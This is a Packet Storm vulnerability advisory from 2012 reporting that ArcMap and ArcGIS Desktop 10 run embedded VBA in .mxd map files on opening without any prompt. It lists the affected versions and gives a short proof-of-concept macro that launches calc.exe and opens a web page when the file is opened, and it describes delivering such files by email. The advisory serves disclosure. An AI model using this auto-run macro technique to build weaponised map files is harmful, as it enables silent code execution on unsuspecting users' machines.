ESRI ArcMap Arbitrary Code Execution

2012-06-14T00:00:00
ID PACKETSTORM:113644
Type packetstorm
Reporter Boston Cyber Defense
Modified 2012-06-14T00:00:00

Description

                                        
                                            `Description:  
  
Opening a specially crafted mxd file will execute arbitrary  
code without prompting and without a crash of the application.  
This is due to a flaw in the programs ability to prompt a user  
before executing embedded VBA. Mxd files are not filtered by  
email systems so this allows a remote attacker to trick a user  
into opening a map file via email and unknowingly gain control  
over their system.  
  
Versions affected (maybe more):  
  
ArcMap 9  
  
ArcGIS Desktop 10  
Release Version: 10.0  
Product Version: 10.0.1.2800  
ArcGIS Service Pack: 1 (build 10.0.1.2800)  
  
ArcGIS Desktop 10  
Release Version: 10.0  
Product Version: 10.0.2.3200  
ArcGIS Service Pack: 2 (build 10.0.2.3200)  
  
  
Proof of concept:  
  
If the following macro is implemented in the project  
the Shell statements will be executed when the  
document is opened without prompt.  
  
Private Function MxDocument_OpenDocument() As Boolean  
Shell "calc.exe", vbNormalFocus  
Shell "cmd /c start  
http://www.cs.umb.edu/~joecohen/exploits/CVE-2012-1661.htm",  
vbNormalFocus  
End Function  
  
Video at site:  
  
http://www.cs.umb.edu/~joecohen/exploits/CVE-2012-1661  
`